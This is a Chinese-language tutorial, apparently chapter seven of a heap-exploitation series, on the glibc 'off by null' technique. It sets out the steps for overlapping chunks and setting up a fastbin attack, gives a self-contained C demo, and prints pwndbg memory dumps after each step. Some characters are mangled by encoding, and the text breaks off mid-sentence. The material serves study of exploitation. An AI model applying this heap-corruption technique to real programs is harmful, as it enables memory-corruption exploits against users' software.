二進制安全之堆溢出(系列)—— off by null
本文是二進制安全之堆溢出系列的第七章節(jié),主要介紹off by null。
原理
思路
通過修改chunk的prev_inuse位,達到一個堆塊重疊的作用
流程
修改下一個堆塊B的size的最后一字節(jié)為0,即prev_inuse置0,size隨之減小,邏輯上分為0×100的B1+0×20的B2
在B2偽造一個chunk,其prev_inuse改為1,用以防止B和A發(fā)生前向合并,并在后面malloc fire時越過一些檢查
free B ,將B1放入unsorted bins
將B1一分為二,如 q1 和 q2,(q2作為我們的堆塊重疊目標塊,用以fastbin attack)
free q1 和C,就會和前面的整個B的塊大合并,q2 邏輯上也會隨之進入unsorted bin
此時注意,q2 任然是我們可控的,現(xiàn)在malloc一個堆塊fire將unsorted bin的內(nèi)容全部取出
free q2,q2進入fastbin
通過堆塊fire修改q2的fd,make fastbin attack
前提
分配的堆塊要0xnn8的大小,需要包含下一個堆塊的prev_size位
需要覆蓋的塊,大小一定要超過0×100,否則會被覆蓋為0
off by null的攻擊塊一定是free之后的堆塊,在free之前覆蓋會造成段錯誤(一種可能)
Demo
#include <stdio.h>
#include <malloc.h>
#include <unistd.h>
#include <string.h>
int main(){
? ? char *p = malloc(0x18);
? ? char *q = malloc(0x110-8);
? ? char *r = malloc(0x110-8);
? ? printf("p = %p\n",p);
? ? printf("q = %p\n",q);
? ? printf("r = %p\n",r);
? ? sleep(0);
? ? *(long*) (r-0x20) =? 0x100; //fake->prev_size
? ? *(long*) (r-0x18) =? 0x101; //fake->size
? ? sleep(0);
? ? free(q);
? ? sleep(0);
? ? strcpy(p,"aaaaaaaajunkjunkbbbbbbbb"); // size->inuse=0 size=0x100
? ? sleep(0);
? ? char *q1 = malloc(0x80);? ? //B1
? ? char *q2 = malloc(0x60);? ? //B2
? ? printf("q1 = %p\n",q1);?
? ? printf("q2 = %p\n",q2);
? ? sleep(0);
? ? free(q1);
? ? free(r);
? ? sleep(0);
? ? char *q12 = malloc(0x100 + 0x100 + 0x10);
? ? printf("q2 = %p\n",q2);
? ? printf("q12 = %p\n",q12);
? ? sleep(0);
? ? return 0;
}
調(diào)試
初始堆塊
0x602000 FASTBIN {
prev_size = 0,?
size = 33,?
fd = 0x0,? ? ? ? ? ? ? ? ? ?//p = 0x602010
bk = 0x0,?
fd_nextsize = 0x0,?
bk_nextsize = 0x111
}
0x602020 PREV_INUSE {
prev_size = 0,?
size = 273,?
fd = 0x0,? ? ? ? ? ? ? ? ?//q = 0x602030
bk = 0x0,?
fd_nextsize = 0x0,?
bk_nextsize = 0x0
}
0x602130 PREV_INUSE {
prev_size = 0,?
size = 273,? ? ? ? ? ? ? ? ?//此時inuse=1
fd = 0x0,? ? ? ? ? ? ? ? ? ?//r = 0x602140
bk = 0x0,?
fd_nextsize = 0x0,?
bk_nextsize = 0x0
}
0x602000:? ?0x0000000000000000? 0x0000000000000021
0x602010:? ?0x0000000000000000? 0x0000000000000000
0x602020:? ?0x0000000000000000? 0x0000000000000111? ? ? //此時q的size
0x602130:0x00000000000000000x0000000000000111 # 此時r的prev_inuse為1
改變 q 的size
pwndbg> x/20gz 0x602000
0x602000:? ?0x0000000000000000? 0x0000000000000021
0x602010:? ?0x6161616161616161? 0x6b6e756a6b6e756a
0x602020:? ?0x6262626262626262? 0x0000000000000100? //成功改小B的size位
0x602030:? ?0x00007ffff7dd1b78? 0x00007ffff7dd1b78
偽造B2堆塊
0x602120:? ?0x0000000000000100? 0x0000000000000101? //成功偽造fake堆塊,對應(yīng)改小的size
0x602130:? ?0x0000000000000110? 0x0000000000000111? //在后面free q之后,inuse變?yōu)?
0x602140:? ?0x0000000000000000? 0x0000000000000000
此時的bins
unsortedbin
all: 0x602020 —? 0x7ffff7dd1b78 (main_arena+88) ?— 0x602020 /* '? `' */? // q?
smallbins
free q
0x602110:? ?0x0000000000000000? 0x0000000000000000
0x602120:? ?0x0000000000000100? 0x0000000000000101
0x602130:? ?0x0000000000000110? 0x0000000000000110 //free q之后,inuse變?yōu)?
將 q 一分為二
0x602020 PREV_INUSE {
prev_size = 7089336938131513954,?
size = 145,?
fd = 0x7ffff7dd1c68 <main_arena+328>,?
bk = 0x7ffff7dd1c68 <main_arena+328>,?
fd_nextsize = 0x0,?
bk_nextsize = 0x0
}
0x6020b0 FASTBIN {
prev_size = 0,?
size = 113,?
fd = 0x7ffff7dd1b78 <main_arena+88>,?
bk = 0x7ffff7dd1b78 <main_arena+88>,?
fd_nextsize = 0x0,?
bk_nextsize = 0x0
}
0x602020:0x62626262626262620x0000000000000091//q1
0x602030:0x00007ffff7dd1c680x00007ffff7dd1c68
0x602040:0x00000000000000000x0000000000000000
0x602050:0x00000000000000000x0000000000000000
0x602060:0x00000000000000000x0000000000000000
0x602070:0x00000000000000000x0000000000000000
0x602080:0x00000000000000000x0000000000000000
0x602090:0x00000000000000000x0000000000000000
0x6020a0:0x00000000000000000x0000000000000000
0x6020b0:0x00000000000000000x0000000000000071 //q2
0x6020c0:0x00007ffff7dd1b780x00007ffff7dd1b78
0x6020d0:0x00000000000000000x0000000000000000
0x6020e0:0x00000000000000000x0000000000000000
0x6020f0:0x00000000000000000x0000000000000000
0x602100:0x00000000000000000x0000000000000000
0x602110:0x00000000000000000x0000000000000000
0x602120:0x00000000000000700x0000000000000101//fake
0x602130:0x00000000000001100x0000000000000110//r
unsorted bin 此時已經(jīng)清空
free q r 引發(fā)大合并
0x602020 PREV_INUSE {
prev_size = 7089336938131513954,?
size = 545, ==>q和r已經(jīng)合并
fd = 0x7ffff7dd1b78 <main_arena+88>,?
bk = 0x7ffff7dd1b78 <main_arena+88>,?
fd_nextsize = 0x0,?
bk_nextsize = 0x0
}
0x602020:0x62626262626262620x0000000000000221-->q,r合并
0x602030:0x00007ffff7dd1b780x00007ffff7dd1b78
0x602040:0x00000000000000000x0000000000000000
0x602050:0x00000000000000000x0000000000000000
0x602060:0x00000000000000000x0000000000000000
0x602070:0x00000000000000000x0000000000000000
0x602080:0x00000000000000000x0000000000000000
0x602090:0x00000000000000000x0000000000000000
0x6020a0:0x00000000000000000x0000000000000000
0x6020b0:0x00000000000000900x0000000000000070-->此時q2的pre_inuse為0
0x6020c0:0x00007ffff7dd1b780x00007ffff7dd1b78
0x6020d0:0x00000000000000000x0000000000000000
0x6020e0:0x00000000000000000x0000000000000000
0x6020f0:0x00000000000000000x0000000000000000
0x602100:0x00000000000000000x0000000000000000
0x602110:0x00000000000000000x0000000000000000
0x602120:0x00000000000000700x0000000000000101
0x602130:0x00000000000001100x0000000000000110
此時的bins
unsortedbin
all: 0x602020 —? 0x7ffff7dd1b78 (main_arena+88) ?— 0x602020 /* '? `' */
smallbins
malloc q12
malloc q12
此時將合并的q和r的內(nèi)存全部malloc出去
q2 = 0x6020c0//此時q2包含在q12之中,卻能夠被修改
q12 = 0x602030
之后再將q2釋放到fastbin,構(gòu)造fastbin attack
總結(jié)
fake堆塊的作用:
fake堆塊的prev_inuse被我們修改為1,因此在free q的時候會和p做前向合并
free q 之后再修改size,這時r記錄的prev_size為整個q堆塊,free q1 和 r時就會大合并
大合并的內(nèi)容為unsorted bin里面的q1和r,但是q2和fake也進入了合并的范疇,但是此時依然可以使用q2和fake
malloc q12可以將整個大合并的內(nèi)存全部取出,這時 free q2 ,進入fastbin,我們?nèi)匀豢梢酝ㄟ^q12 修改q2的
